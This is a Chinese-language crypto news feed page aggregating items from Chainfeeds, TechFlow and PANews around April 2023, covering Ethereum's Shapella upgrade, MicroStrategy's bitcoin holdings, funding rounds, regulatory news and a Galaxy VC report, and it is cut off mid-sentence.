    Chainfeeds 导读： 以太坊上海升级预计将于明早 6:30 进行。Bankless 对此次升级的内容、当前以太坊网络质押情况以及升级后的提款机制进行了梳理，并认为上海升级短期内对 ETH 和 LSD 持有者影响不大。 文章来源： https://www.bankless.com/guide-what-is-shanghai-capella-shapella 文章作者： Bankless 观点： Bankless：上海升级技术上更正确的名字是 Shapella 升级。Shapella = Shanghai + Capella。上海升级将在执行层将创建一种新的交易类型，允许验证者提取质押的 ETH。Capella 升级将在共识层使信标链能够接受提款请求。【原文为英文】 内容来源 Bankless：Shapella 标志着以太坊向 PoS 过渡的完成。Shapella 升级前，由于 ETH 质押的技术和流动性风险，ETH 的抵押率仅为 14.9%，远低于前 20 名 PoS 网络的平均值 60.1%。因此，许多人认为 Shapella 可以降低 ETH 质押的风险，带来「质押超级周期」，使 ETH 质押率更接近均值。【原文为英文】 内容来源 Bankless：目前有超过 1820 万枚 ETH 存放在信标链上，累积了 100 万枚 ETH 的质押奖励。在 Shapella 上线后，每天大约有 57000 ETH 将有资格通过全额提款进行提款。估计有 330 万 ETH（约 63 亿美元）将有资格在升级后的前 54 天内提取。我们认为上海升级对短期 ETH 价格的影响微乎其微。绝大多数质押的 ETH 不会被提取，提取的 ETH 很大一部分也将被重新质押。【原文为英文】 内容来源  ( 8 min )
    MicroStrategy 财务健康状况研究：会破产吗？比特币价格多少时盈亏平衡
    Chainfeeds 导读： 4 月 4 日，MicroStrategy 以 28016 美元的均价再次购买 1045 枚比特币，总价约 2930 万美元，Microstrategy 持有的比特币达到 14 万枚。吴说区块链盘点了 MicroStrategy 历次买入比特币的记录，并从公司资产负债情况入手，分析得出结论：当比特币价格到达 3 万美元左右时，Microstrategy 就能基本实现盈亏平衡。 文章来源： https://mp.weixin.qq.com/s/j_iTeyDF022IeAEJdEJFww 文章作者： 吴说区块链 观点： 吴说区块链：目前 Microstrategy 持有 140000 枚比特币，平均成本为 29803 美元；长期债务约 22 亿美元，每年利息不到 5000 万美元。 内容来源 吴说区块链：MicroStrategy 2022 年报显示，全年息税前利润（EBIT）为 -12.76 亿美元，其中包括数字资产的减值损失（扣除销售收益），该部分减值损失为 12.86 亿美元。如果扣除这部分浮亏，那么 EBIT 为 1054 万美元（其中第四季度为 391 万美元），相对 2021 年的 4609 万美元大幅下降。可见，仅依靠主营业收入不足以覆盖每年的利息。 内容来源 吴说区块链：公司目前持有近 4384 万美元的现金和现金等价物，因此至少 2023 年不会出现债务危机。即使公司无法支付利息，也可以卖出少量比特币或公司股权。因此 Microstrategy 在债务到期前几乎不存在破产的可能，只要 2025 年 3 月前比特币价格到达 3 万美元左右，Microstrategy 就能基本实现盈亏平衡（目前就处于盈亏平衡状态）。 内容来源  ( 33 min )
    公链 Sei Network 以 8 亿美元估值完成 3000 万美元融资
    公链 Sei Network 以 8 亿美元估值完成 3000 万美元融资 据 TechCrunch 报道，Sei Network 以 8 亿美元估值完成 3000 万美元融资，Jump Capital、Distributed Global、Multicoin Capital、Asymmetric Capital Partners、Flow Traders、Hypersphere Ventures 和 Bixin Ventures 参投。本轮资金将用于开发与亚太地区市场推广。Sei 仍处于公开测试网络阶段，计划在今年晚些时候推出主网。 内容来源  ( 23 min )
    a16z Crypto 的工程团队发布 Halmos、Helios 等开源工具
    a16z Crypto 的工程团队发布 Halmos、Helios 等开源工具 a16z Crypto 首席技术官发推称其工程团队发布了开源工具，为加密生态系统中的开发人员、构建者和用户提供服务。其最新的六个库涉及： 符号测试（Halmos）、轻客户端（Helios）、拍卖设计（Auction Zoo）、私人空投（Private airdrops）、新社交网络（New social networks）、可信设置（Trusted setups）。 内容来源  ( 2 min )
    比特币闪电网络公司 Lightspark 发布闪电网络产品套件
    比特币闪电网络公司 Lightspark 发布闪电网络产品套件 据 The Block 报道，由前 PayPal 总裁、Meta 加密货币主管 David Marcus 创立的比特币闪电网络公司 Lightspark 发布了构建在比特币闪电网络之上的产品套件，该产品可作为闪电网络的企业级入口，允许用户集成支持闪电网络上的比特币交易。Lightspark 利用人工智能来预测流动性集中位置，以自动化交易通道平衡过程。  内容来源  ( 163 min )
    Cardano 开发公司 IOG 推出 Chrome 浏览器钱包插件 Lace
    Cardano 开发公司 IOG 推出 Chrome 浏览器钱包插件 Lace Cardano 开发公司 Input Output Global（IOG）推出 Chrome 浏览器钱包插件 Lace。Lace 1.0 支持发送和接收 Cardano 链资产、质押 ADA，以及连接到各类 DApp 服务。 内容来源  ( 6 min )

  • Open

    解读 Layer Zero 技术原理：超轻节点，与众不同
    解读 Layer Zero 技术原理：超轻节点，与众不同 – 深潮TechFlow 本文将介绍 Layer Zero 的技术和特点，以及它是如何实现区块链之间的通信和跨链交易的。 Read the full entry  ( 3 min )
    解读 Layer Zero 技术原理：超轻节点，与众不同
    解读 Layer Zero 技术原理：超轻节点，与众不同 – 深潮TechFlow 本文将介绍 Layer Zero 的技术和特点，以及它是如何实现区块链之间的通信和跨链交易的。 Read the full entry  ( 3 min )
    6个基于zkSync的创新项目，探索生态的未来前景
    6个基于zkSync的创新项目，探索生态的未来前景 – 深潮TechFlow 当下，zkSync 生态系统正准备迎来爆发式增长，而现在正是加入的最佳时机。 Read the full entry  ( 3 min )
    6个基于zkSync的创新项目，探索生态的未来前景
    6个基于zkSync的创新项目，探索生态的未来前景 – 深潮TechFlow 当下，zkSync 生态系统正准备迎来爆发式增长，而现在正是加入的最佳时机。 Read the full entry  ( 3 min )

  • Open

    Maple Finance计划推出美国国债借贷池
    PANews 4月12日消息，据CoinDesk报道，加密借贷协议Maple Finance首席执行官Sid Powell在社区电话会议上表示，正计划推出一个投资美国国债的借贷池，允许美国境外的合格投资者在链上投资美国国债。Powell还表示，计划在今年晚些时候就其原生代币MPL的新代币经济学举行社区投票。此外，Maple还将推出新的借贷产品。一项在内部被称为Maple Prime的新功能将帮助借款人积极管理他们的抵押品头寸。该协议还计划推出开放期限贷款，提供无到期日借款额度。  ( 1 min )
    萨尔瓦多向Bitfinex颁发该国首个数字资产许可证
    PANews 4月12日消息，据CoinDesk报道，Bitfinex周二表示，萨尔瓦多向其颁发了该国首个数字资产服务提供商许可证。Bitfinex Securities的运营主管Jesse Knutson表示，新许可证允许推出的产品包括代币化股票和收益资产。今年1月，萨尔瓦多立法议会通过了数字资产发行法，并为该国推出比特币火山债券创建了一个框架。在总统Nayib Bukele的倡导下，萨尔瓦多于2021年9月成为世界上首个将比特币作为法定货币的国家。  ( 1 min )
    法国政府发布元宇宙咨询报告，寻求打破互联网巨头垄断
    PANews 4月12日消息，据CoinDesk报道，法国经济部周二发布一份咨询报告，就虚拟世界的隐私、健康和环境风险等政策问题征求意见，试图在欧洲创造“数字主权”，寻求打破Meta等国际互联网巨头在元宇宙领域的垄断。此次咨询将持续至5月2日，其中包括虚拟现实和增强现实、游戏引擎以及支撑加密货币的区块链技术。其目标是“提出一种替代目前由国际互联网巨头建立的虚拟网络世界的方案。”在2022年的竞选活动中，马克龙曾谈及建立欧洲元宇宙的必要性，而欧盟官员也将于5月制定欧盟虚拟世界战略。  ( 1 min )
    前德意志银行员工被美国检察官指控进行加密欺诈
    PANews 4月12日消息，据彭博社报道，德意志银行一名前投资银行家被美国检察官指控参与加密欺诈，向投资者虚假承诺高额回报，并将投资者的资金用于赌博或维持庞氏骗局。27岁的Rashawn Russell已于于周一被捕，被指控犯有电信欺诈罪，如果罪名成立，他将面临长达20年的监禁。据称，他伪造文件欺骗客户，向一名投资者发送了银行余额约35.5万美元的截图，而真实余额不到3.5万美元。在周二下午的提审中，Russell拒绝认罪。他缴纳了20万美元的保释金，并被命令于5月9日再次出庭。  ( 1 min )
    游戏硬件设备公司Razer推出Web3孵化器
    PANews 4月11日消息，据Decrypt报道，知名视频游戏硬件和外围设备公司 Razer(雷蛇) 现在正在通过其新的 zVentures Web3 孵化器 (ZW3I) 资助Web3游戏项目。Razer区块链总监 Lawrence Lin 表示，该孵化器将专注于提供营销支持，将孵化多达 36 个项目，尽管是一家专注于 PC 游戏的公司，但不会排除手游。  ( 1 min )
    PA日报 | 香港成立Web3协会；比特币突破30000美元
    今日要闻提示： 1.香港特首：Web3.0发展正值黄金起点，香港要敢于成为这波创新浪潮的引领者 2.OpenAI、微软、谷歌等多个巨头将于周三开会讨论AI使用标准 3.微博和抖音App搜索“比特币”均已无法显示行情数据 4.《财富》杂志发布首个“Crypto 40”榜单，由TradFi、CeFi等8个类别组成 5.Jack Dorsey：旗下支付公司Block正开发与Nostr兼容的产品 6.律师、顾问等在今年2月份向FTX收取约3000万美元的破产费用 7.公链Sei Network以8亿美元估值完成3000万美元融资 8.CoinShares：上周数字资产投资产品净流入5690万美元 监管消息 香港特首：Web3.0发展正值黄金起点，香港要敢于成为这波创新浪潮的引领者 香港特首李家超在香港 Web3.0 协会成立典礼发表致辞时表示，希望协会与政府合作，为香港的创科及金融发展提速，在吸引人才和企业方面提量，更多顶尖单位来港大展拳脚。Web3.0 对金融科技发展起关键作用，去年底发表虚拟资产政策宣言，说明政府有开放态度和坚定决心，最近一些龙头科技企业和高技术初创公司考虑在港开拓业务，包括虚拟资产交易平台、区块链基建企业、虚拟货币钱包、支付企业等相关项目，相信能助力 Web3.0 发展。政府同时要为市场设立适切监管，为虚拟资产服务提供者的新发牌制度 6 月实施，确保市场稳健有序发展。 李家超表示，国家主席习近平指出要着力提升科技、自立自强能力，不断壮大国家科技实力，国家十四五明确支持香港建设国际创新科技中心。创科是香港重点发展领域，Web3.0 发展正值黄金起点，该技术能改变原有的商业运作模式，同时创造更多新机遇，香港要敢于成为这波创新浪潮的引领者，政府早前公布的预算案，拨出 5 千万元给数码港，加速推动香港 Web3.0 生态圈发展，数码港亦已成立 Web3 基地。 此前今日早些时候消息，香港Web3协会已开放三类会员申请；香港金管局前总裁陈德霖担任香港Web3.0协会会长。 美SEC咨询委员会敦促SEC继续加强加密执法行动，称几乎所有代币都是证券 据Bitcoin.com报道，美国证券交易委员会 (SEC) 投资者咨询委员会 (IAC) 周四向SEC提交了其对加密资产监管的意见。该委员会认为，几乎所有加密代币都是证券”，敦促SEC“将与加密资产相关的执法作为重中之重”。据悉，该委员会的成立旨在就监管优先事项向证券监管机构提供建议。 此外，美SEC的加密执法部门正在纽约、旧金山和华盛顿特区招聘总检察长。 NFT Ordinals协议存在导致铭文无法验证的代码漏洞，社区正就解决方案进行投票 据Cointelegraph报道，GitHub用户“veryordinally”于4月5日首次披露比特币原生Ordinals协议存在一个代码漏洞，该漏洞阻止了1200多个铭文被验证。该漏洞来自协议的索引器功能，仅计算提交至并包括协议版本0.5.1的交易的第一个输入中的铭文。 目前社区正在对该错误的解决方案进行讨论，第一个解决方案涉及选择一个区块高度，以追溯索引从铭文编号420,285起的所谓“孤儿”铭文，这大约是第一个孤儿铭文被识别的位置。另一种解决方案是不改变已经验证过的铭文编号，并选择一个区块高度，以便在将来的某个时候添加这些孤儿铭文。 根据Leonidas.og创建的推特民意调查，在撰写本文时，1,266名投票者中有67.5%的人赞成不更改铭文编号。不过对于第一种解决方案，Leonidas.og表示：“这感觉像是‘纯粹主义’的解决方案，因为它意味着Ordinals协议将正确匹配链上的逻辑顺序，但这可能会引起其他并发症。”目前，距离该民意调查投票结束还有16个小时。 元宇宙 OpenAI、微软、谷歌等多个巨头将于周三开会讨论AI使用标准 据福克斯商业新闻报道，多个科技巨头和AI赛道头部公司将在本周三开会讨论制定人工智能使用的标准。本次会议由投资公司SV Angel召集，OpenAI、微软、谷歌、苹果、英伟达、Stability AI、Hugging Face等公司将派代表参与，会议将讨论如何以最负责任的态度继续开发AI。 此前3月消息，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。 阿里巴巴未来拟将所有产品接入“通义千问”大模型 据金十报道，阿里巴巴集团董事会主席兼CEO、阿里云智能集团CEO张勇在云峰会上表示，阿里巴巴所有产品未来将接入“通义千问”大模型，进行全面改造。 阿里云已经累积了从飞天云操作系统、芯片到智算平台的“AI+ 云计算”的全栈技术实力，阿里云将把这些AI基础设施和大模型能力向所有企业开放，共同推动AI产业的发展。 网信办就生成式人工智能服务管理办法公开征求意见 国家互联网信息办公室就《生成式人工智能服务管理办法（征求意见稿）》公开征求意见，意见反馈截止时间为2023年5月10日。 其中提到，提供生成式人工智能服务应当按照《中华人民共和国网络安全法》规定，要求用户提供真实身份信息。提供者应当明确并公开其服务的适用人群、场合、用途，采取适当措施防范用户过分依赖或沉迷生成内容。提供者在提供服务过程中，对用户的输入信息和使用记录承担保护义务。不得非法留存能够推断出用户身份的输入信息，不得根据用户输入信息和使用情况进行画像，不得向他人提供用户输入信息。法律法规另有规定的，从其规定。提供者不得根据用户的种族、国别、性别等进行带有歧视性的内容生成。 项目动态 微博和抖音App搜索“比特币”均已无法显示行情数据 PANews 4月11日消息，经查看，微博搜索“比特币”已无法显示行情数据。此外，抖音App内搜索“比特币”已无法显示行情数据，仅保留风险提示。 Coinbase将Virtua (TVK)列入上币路线图 Coinbase Assets发推表示，已将Virtua (TVK)列入上币路线图。 据悉，Virtua是一个游戏化的元宇宙项目，提供社交、Web3游戏、数字收藏品和互动体验。 推特用户：DWF Labs很多公开的投资交易与链上数据不匹配 推特用户Nay发推文称，经过链上数据分析，DWF Labs几乎所有情况下进出代币的数量都与时间和美元金额相匹配，这意味着这些不是贷款，因此不是标准的做市商交易；DWF Labs所有交易的模式都是要么每天一次左右地购买5万至10万美元的稳定币，要么购买每笔交易高达500万美元的大额交易，然后把所有（或几乎所有）资金都存放在CEX上。 Nay还表示，DWF Labs在韩国市场非常活跃。一些韩国项目主动公开了在Xangle的新投资。自去年11月以来披露的11个项目中，大部分未披露金额。DWF向mcap APM投资了500万美元，但BIOT披露与链上数据不匹配。同时其很多公开的投资交易无法与链上数据相匹配，6500万美元在链上得到确认，据报道超过1.5亿美元，除此之外还有很多没有报道，有一种可能是他们代表项目团队以不少于某价格出售代币并预先汇款，从而赚取delta。许多交易有10-20%的折扣，但有些则没有。 此外Nay表示，DWF Labs官方负责人Andrei Grachev自2018年以来一直被公开指控进行各种加密骗局，其中其与包括价值40亿美元的加密庞氏骗局OneCoin的关系，此前曾有俄语媒体在2019年撰文披露，Andrei Grachev曾作为Huobi俄罗斯站负责人在OneLife项目在莫斯科组织的一次聚会上表示，有信心就Huobi上线OneCoin的“独家”条件达成一致。 去中心化存储基础设施BNB Greenfield已上线测试网“Congo” BNB Chain开发团队推出的去中心化存储基础设施BNB Greenfield已上线测试网“Congo”，并呼吁社区积极试用Congo测试网络。Greenfield测试网络的存储提供商（SP）与测试网络验证节点合作提供完整的存储服务，存储提供商存储实际数据，而验证节点通过共识处理元数据和财务分类帐。 据悉，BNB Greenfield是BNB Chain生态系统中的去中心化存储基础设施，用户和DApps可以创建、存储和交换具有完全所有权的数据，形成一个新的数据经济。 Jack Dorsey：旗下支付公司Block正开发与Nostr兼容的产品 据Politico报道，推特公司前首席执行官Jack Dorsey在接受采访时表示，其旗下支付公司Block正在开发与去中心化社交协议Nostr兼容的产品，Nostr上的用户体验已经超过了推特，并引入了比特币打赏功能“Zaps”，这是信息和资金在互联网上畅通无阻地共同流动的愿景的一部分。 他还表示，NostrR在比特币利基之外也越来越受欢迎，他说，打赏功能将吸引一个“不断增长的艺术家社区”，“随着Zaps的发展，以及我们终于在互联网上实现全球免许可支付，这一数字将会更快增长。” 在这次交流之后，Dorsey宣布这将成为他新的个人媒体政策的模式：“我不再接受封闭式采访。仅通过Nostr或现场直播。” FTX债权人：FTX Japan或因计划重启而取消拍卖 自称是FTX债权人的推特用户@AFTXcreditor在推特上引用披露文件表示，FTX Japan取消拍卖的原因是其计划进行重启。文件显示：“日本就可能重新开放交易平台的下一步措施提供最新情况，就重开交易平台需工作采取后续行动并提供指导。” 《财富》杂志发布首个“Crypto 40”榜单，由TradFi、CeFi等8个类别组成 《财富》杂志近日发布首个“Fortune Crypto 40”榜单，以对“最重要的加密公司”进行排名。Crypto 40由八个类别组成，即TradFi、CeFi、NFT、风险投资（VC）、数据、基础设施、协议和DeFi，每个类别都有五家公司。 入围TradFi类别的公司有PayPal、Robinhood、JPMorgan Chase（摩根大通）、Fidelity（富达）和Visa。入围CeFi类别的公司有Coinbase、币安、Kraken、Galaxy Digital和Circle。入围VC类别的公司有Polychain Capital、Animoca Brand、Andreessen Horowitz（a16z）、Pantera Capital和Blockchain Capital。入围NFT类别的公司有OpenSea、Yuga Labs、Sky Mavis、Art Blocks和RTFKT (Nike)。入围Data类别的公司有Chainalysis、Coin Metrics、The Graph、Dune和Messari。入围基础设施类别的公司有Ledger、Genesis Digital Assets、Bitmain、Alchemy和Moonpay。入围DeFi类别的公司有Uniswap Labs、Lido、MakerDAO、Aave和Curve。入围协议类别的项目有Ethereum Foundation、Bitcoin、Polygon Labs、Solana Foundation、Offchain Labs (Arbitrum)。 币安将下架QLC、NEBL和AUTO 据官方公告，币安宣布将于4月18日11:00下架Kepple (QLC)、Neblio (NEBL)、Auto (AUTO)。具体涉及的交易对为QLC/BTC、NEBL/USDT、NEBL/BUSD、NEBL/BTC、AUTO/USDT、AUTO/BUSD、AUTO/BTC。 根据公告，在4月19日11:00之后存入的这些代币将不会记入账户。在7月18日11:00之前，将继续支持从币安提取这些代币。 此前今日早些时候消息，币安将支持Conflux Network（CFX）主网集成。 数字资产经纪商LTP推出1亿美元量化孵化基金 据官方消息，数字资产经纪商LTP（LiquidityTech Protocol）创始人兼首席执行官Jack Yang宣布，LTP推出1亿美元量化孵化基金，重点扶持行业初创的量化交易公司。 外媒：美国银行和富达通过增持MicroStrategy股票对比特币有间接风险敞口 据Blockworks报道，美国银行和富达银行在第一季度的资产负债表上持有大量MicroStrategy股票，这表明机构对间接比特币敞口仍有兴趣。 截至3月底，美国银行显示在第一季度购买了86,147股MicroStrategy (MSTR) 股票。根据美国证券交易委员会的一份文件，富达在同一时期增持了97,199股。两份文件都追踪了从1月1日到3月31日的交易，并不一定表明两家公司的总体持股情况。 自MicroStrategy开始在其资产负债表上持有比特币作为储备以来，该公司的股价一直密切跟踪比特币的价格。许多交易员仍将这只股票视为最接近比特币现货敞口的公开交易代理之一。截至4月4日，MicroStrategy持有14万枚比特币。 美国议员致函Circle和BlockFi等14家公司，要求它们阐明与硅谷银行的关系 据彭博社报道，美国马萨诸塞州参议员Elizabeth Warren和纽约州众议院议员Alexandria Ocasio-Cortez周日致信硅谷银行的14位最大储户，对这家倒闭的银行与一些风险投资家和科技公司创始人的关系感到担忧。 收到此信件的公司包括USDC的主要发行方Circle Internet Financial、加密借贷平台BlockFi Inc.、元宇宙平台Roblox以及其他行业的公司。这两名民主党人要求它们解释与该行的关系期限以及他们在该银行的存款额，并还向他们询问硅谷银行董事会成员、高管或投资者是否从该行获得了特殊利益，比如信贷额度。议员们要求这些公司在4月24日之前提供这些问题的答案。 其中，Roblox公司新闻发言人证实公司已经收到邮件，表示会及时回复，另外13家公司没有立即发表评论。 SHIB：The Metaverse预计将于今年12月开放，建立在Shibarium之上 据CoinDesk报道，SHIB：Shiba Inu 开发人员在周一的更新中表示，SHIB：The Metaverse是一个扩展 shiba inu (SHIB) 生态系统效用的项目，预计将于今年 12 月开放。元宇宙不太可能在发布时完全完成，因为它将是一个“正在进行的项目”。SHIB：The Metaverse将拥有 100,595 块由用户铸造的土地。地主可以从他们的地块中获得被动收入，收集游戏内资源并获得奖励。该元宇宙项目将在 Shibarium 中开发，Shibarium 是即将推出的第 2 层网络，使用 Shiba 生态系统令牌，其测试网已经上线。 律师、顾问等在今年2月份向FTX收取约3000万美元的破产费用 据The Block报道，根据破产法庭提交的新赔偿报告，律师、财务顾问、投资银行家和顾问在今年 2 月份向 FTX 收取了大约 2970 万美元的破产费用和另外 407,000 美元的报销费用。FTX 2 月份的 3000 万美元账单略低于其 1 月份的 3800 万美元账单。 据悉，该交易所聘请了 Sullivan & Cromwell 和 Landis Rath & Cobb 律师事务所、管理咨询公司 AlixPartners、金融服务公司 Perella Weinberg Partners、咨询公司 Alvarez & Marsal North America 和 FTX 首席执行官 John Ray III 的 Owl Hill Advisory。据披露，这六家公司 2 月份的总工时超过 35,400 小时。 Winklevoss兄弟向Gemini提供1亿美元贷款 据彭博社报道，Gemini联合创始人Winklevoss兄弟最近向Gemini提供了1亿美元贷款，以在市场低迷时期支持该交易所的业务。据知情人士透露，在提供这笔贷款前，两兄弟曾非正式地向外部投资者寻求融资，但未达成任何协议。据此前消息，在去年FTX崩溃后，DCG旗下加密贷款机构Genesis暂停取款，导致Gemini Earn贷款产品客户的资金被冻结。作为今年2月DCG与债权人达成的和解协议的一部分，Gemini表示将向Earn用户提供高达1亿美元现金。目前尚不清楚本次1亿美元的贷款是否与向Earn用户承诺的1亿美元有关。 a16z Crypto发布2023年加密货币状况报告，并推出加密货币状况指数 a16z Crypto今日发布 2023 年加密货币状况报告，并推出加密货币状况指数（STATE OF CRYPTO INDEX），这是一种从技术而非金融角度跟踪加密行业健康状况的交互式工具，该指数代表了 14 个行业指标的加权平均每月增长——从经过验证的智能合约的数量到交易钱包的数量等。报告的主要要点有：1. 区块链有更多的活跃用户，更多的参与方式；2. DeFi 和 NFT 活动似乎再次上升；3. 加密行业活跃开发者数量保持稳定；4. 区块链正在通过有前途的新途径扩展；5. 曾经几乎不可能的新技术正在变得非常真实；6. 美国正在失去其在 web3 领域的领先地位；7.缩小显示进度。此外，a16z Crypto的工程团队还发布了Halmos、Helios等开源工具。 融资消息 公链Sei Network以8亿美元估值完成3000万美元融资 公链项目Sei Network 宣布以 8 亿美元估值完成 3000 万美元融资，Jump Capital、Distributed Global、Multicoin Capital、Asymmetric Capital Partners、Flow Traders、Hypersphere Ventures 和 Bixin Ventures 参投。本轮资金将用于开发与亚太地区市场推广。据悉，Sei 仍处于公开测试网络阶段，计划在今年晚些时候推出主网。去年9月，Sei Network曾推出5000万美元生态基金。 破产索赔交易平台Xclaim完成700万美元的A轮融资 破产索赔交易平台 Xclaim 已完成 700 万美元的 A 轮融资。Xclaim 近期增加了加密货币破产公司。Xclaim 允许交易主要的破产债权人债权，包括 FTX、Genesis 和 BlockFi。目前，FTX 的索赔价格为 19 美分，高于今年早些时候的 13 美分，而 Genesis 为 52.5 美分，BlockFi 为 18 美分。 Xclaim 创始人兼首席执行官 Matthew Sedigh 表示，自 Xclaim 于 2018 年开始运营以来，交易量已超过 2 亿美元。 Web3游戏开发公司MPL旗下Mayhem Studios完成2000万美元融资，红杉资本领投 据Economictimes报道，印度P2E游戏开发公司Mobile Premier League (MPL)旗下工作室Mayhem Studios宣布完成2000万美元融资，红杉资本领投，Steadview Capital、Truecaller等参投。MPL上个月推出了NFT市场Good Game Exchange (GGX)，同时还启动了基于边玩边赚P2E的Web3游戏战略并将其作为集团发展计划的一部分。 CryptoGPT以2.5亿美元的估值从DWF Labs筹集1000万美元 据The Block报道，专注于人工智能的ZK Layer 2 区块链 CryptoGPT 宣布以 2.5 亿美元的代币估值从 DWF Labs 筹集 1000 万美元。作为交易的一部分，同时也是做市商的 web3 投资公司 DWF Labs 也将为 CryptoGPT 的 GPT 代币做市。 矿业消息 比特大陆因税务违法被北京税务局罚款近2500万元 据同花顺财经报道，企查查APP显示，近日，北京比特大陆科技有限公司因其他违法被国家税务总局北京市税务局第四稽查局罚款约2496.87万元。 违法详情显示，根据《中华人民共和国税收征收管理法》规定，单位给员工发放差旅补贴等福利应代扣代缴个人所得税。检查人员已于 2022 年 8 月向北京比特大陆公司送达《责令限期改正通知书》（京税稽四限改〔2022〕9 号），至今北京比特大陆公司未能代扣代缴上述个人所得税合计1664.58万元。 此外，据国家税务总局北京市税务局网站，该网站的税务行政一般程序处罚结果记录了此条对比特大陆的处罚，处罚日期为4月4日。 CleanSpark斥资1.45亿美元购买4.5万台比特币矿机 据TheBlock报道，比特币矿企CleanSpark斥资1.45 亿美元购买了45,000台比特币矿机。本次购买的矿机将为 CleanSpark 增加 6.3EH/s 的算力。CleanSpark 目标是在 8 月交付 25,000 台机器，其余机器将于 9 月到货。 此前2月，比特币矿企CleanSpark将以3230万美元的折扣价购买2万台比特大陆S19j Pro+矿机。 重要数据 比特币短时突破30000美元，创2022年6月以来新高 OKX行情显示，比特币短时突破30000美元，创2022年6月以来新高。现回落至29791美元，24小时涨幅达4.81%。 CoinShares：上周数字资产投资产品净流入5690万美元 CoinShares报告显示，上周数字资产投资产品净流入5690万美元。其中比特币投资产品净流入5600万美元，以太坊投资产品净流出60万美元，做空比特币的投资产品净流出60万美元。此外，上周数字资产投资产品交易量仅为9.7亿美元。  ( 5 min )
    RSS3通过向DWF Labs出售代币筹集1000万美元
    PANews 4月11日消息，据CoinDesk报道，Web3信息分发协议 RSS3 通过向 DWF Labs 出售代币筹集了 1000 万美元。RSS3 之前吸引了来自 Coinbase、Dragonfly 以及著名企业家和前 Andreessen Horowitz 合伙人 Balaji Srinivasan 的投资。RSS3 最近还发布了 RSS3 AIOP，这是一个 AI 培训环境，可为 ChatGPT 等提供 Web3 信息。 DWF Labs的该1000万美元代币投资是该公司在不到两个月的时间里第十次向加密和 Web3 项目投资至少 1000 万美元。  ( 2 min )
    a16z Crypto的工程团队发布Halmos、Helios等开源工具
    PANews 4月11日消息，a16z Crypto 首席技术官发推称其工程团队发布了开源工具，为加密生态系统中的开发人员、构建者和用户提供服务。其最新的六个库涉及： - 符号测试（Halmos） - 轻客户端（Helios） - 拍卖设计（Auction Zoo） - 私人空投（zkdrops） - 新社交网络（zkDocs） - 可信设置（evm-powers-of-tau）。 相关阅读：详解a16z Crypto推出的Helios：完全无需信任的以太坊访问  ( 1 min )
    CleanSpark斥资1.45亿美元购买4.5万台比特币矿机
    PANews 4月11日消息，据TheBlock报道，比特币矿企CleanSpark斥资1.45 亿美元购买了45,000台比特币矿机。本次购买的矿机将为 CleanSpark 增加 6.3EH/s 的算力。CleanSpark 目标是在 8 月交付 25,000 台机器，其余机器将于 9 月到货。 此前2月，比特币矿企CleanSpark将以3230万美元的折扣价购买2万台比特大陆S19j Pro+矿机。  ( 1 min )
    a16z Crypto发布2023年加密货币状况报告，并推出加密货币状况指数
    PANews 4月11日消息， a16z Crypto今日发布 2023 年加密货币状况报告，并推出加密货币状况指数（STATE OF CRYPTO INDEX），这是一种从技术而非金融角度跟踪加密行业健康状况的交互式工具，该指数代表了 14 个行业指标的加权平均每月增长——从经过验证的智能合约的数量到交易钱包的数量等。报告的主要要点有：1. 区块链有更多的活跃用户，更多的参与方式；2. DeFi 和 NFT 活动似乎再次上升；3. 加密行业活跃开发者数量保持稳定；4. 区块链正在通过有前途的新途径扩展；5. 曾经几乎不可能的新技术正在变得非常真实；6. 美国正在失去其在 web3 领域的领先地位；7.缩小显示进度。  ( 2 min )
    公链Sei Network以8亿美元估值完成3000万美元融资
    PANews 4月11日消息，公链项目Sei Network 宣布以 8 亿美元估值完成 3000 万美元融资，Jump Capital、Distributed Global、Multicoin Capital、Asymmetric Capital Partners、Flow Traders、Hypersphere Ventures 和 Bixin Ventures 参投。本轮资金将用于开发与亚太地区市场推广。据悉，Sei 仍处于公开测试网络阶段，计划在今年晚些时候推出主网。去年9月，Sei Network曾推出5000万美元生态基金。 相关阅读：一文快速了解新生代公链sei network  ( 2 min )
    破产索赔交易平台Xclaim完成700万美元的A轮融资
    PANews 4月11日消息，破产索赔交易平台 Xclaim 已完成 700 万美元的 A 轮融资。Xclaim 近期增加了加密货币破产公司。Xclaim 允许交易主要的破产债权人债权，包括 FTX、Genesis 和 BlockFi。目前，FTX 的索赔价格为 19 美分，高于今年早些时候的 13 美分，而 Genesis 为 52.5 美分，BlockFi 为 18 美分。 Xclaim 创始人兼首席执行官 Matthew Sedigh 表示，自 Xclaim 于 2018 年开始运营以来，交易量已超过 2 亿美元。  ( 2 min )
    Galaxy Q1 投融资研报：VC 筹资遇冷，投资仅 24 亿美元延续下降趋势
    原文来源：Galaxy Digital 原文编译：白泽研究院 注：本报告使用 Pitchbook 的数据，VC 交易数据的报告可能会滞后。 加密 VC 们在 2023 年第一季度向以加密初创公司或协议投资了 24 亿美元，这是两年多以来的最低金额（自 2020 年第四季度以来）。投资数量比 2022 年第四季度要多，增加到 439 笔（上一季度为 366 笔），种子前投资的增长推动了大部分增长（占投资总额的 20%，是 2021 年第一季度以来的最大份额）。 VC 投资规模中位数从 2022 年第三季度的历史高点（450 万美元）继续下降（250 万美元），而加密初创公司融资前估值中位数为 1880 万美元，为 2022 年第一季度以来的最低点。 “Web3、NFT、DAO、元宇宙和链游”类别的初创公司融资数量最多（116 笔），而“贸易、交易平台、投资和贷款”类别的初创公司筹集的资金最多（5.38 亿美元）。 成立于 2021 年的加密初创公司在 2023 年第一季度筹集的资金最多（4.81 亿美元），成立于 2022 年的加密初创公司紧随其后（3.63 亿美元）。 2023 年第一季度完成的加密 VC 投资活动中，有 42% 资助了总部位于美国的公司（185 笔）。总部位于英国的加密初创公司在 2023 年第一季度完成了 37 笔融资，位居第二；美国加密初创公司以 42% 的融资额占主导地位，而法国以 19% 位居第二。 2023 年第一季度，14 只新的加密 VC 投资基金筹集了约 22 亿美元，平均基金规模增至 2.11 亿美元，基金规模中位数降至 6250 万美元。 2023 年第一季度，加密 VC 投资总额为 24 亿美元，是从 2020 年第四季度以来的最低水平，延续了自 2022 年第一季度 130 亿美元的峰值之后开始的下降趋势。 2023 年第一季度，加密初创公司筹集到的资金不到两个季度前筹集资金的一半。 尽管 VC 的投资总额呈下降趋势，但投资数量在 2023 年第一季度有所回升，与 2022 年第四季度的 366 笔相比增加了 73 笔至 439 笔。回升的主要原因是种子前投资的相对增长（89 笔），2022 年第四季度的种子前投资相当惨淡，只有 42 笔。 在投资额方面，投资于早期公司（A轮、种子前）和后期公司（B+轮融资）的比例几乎相等。 不同年份公司的融资情况 成立于 2021 年和 2022 年的加密初创公司在 2023 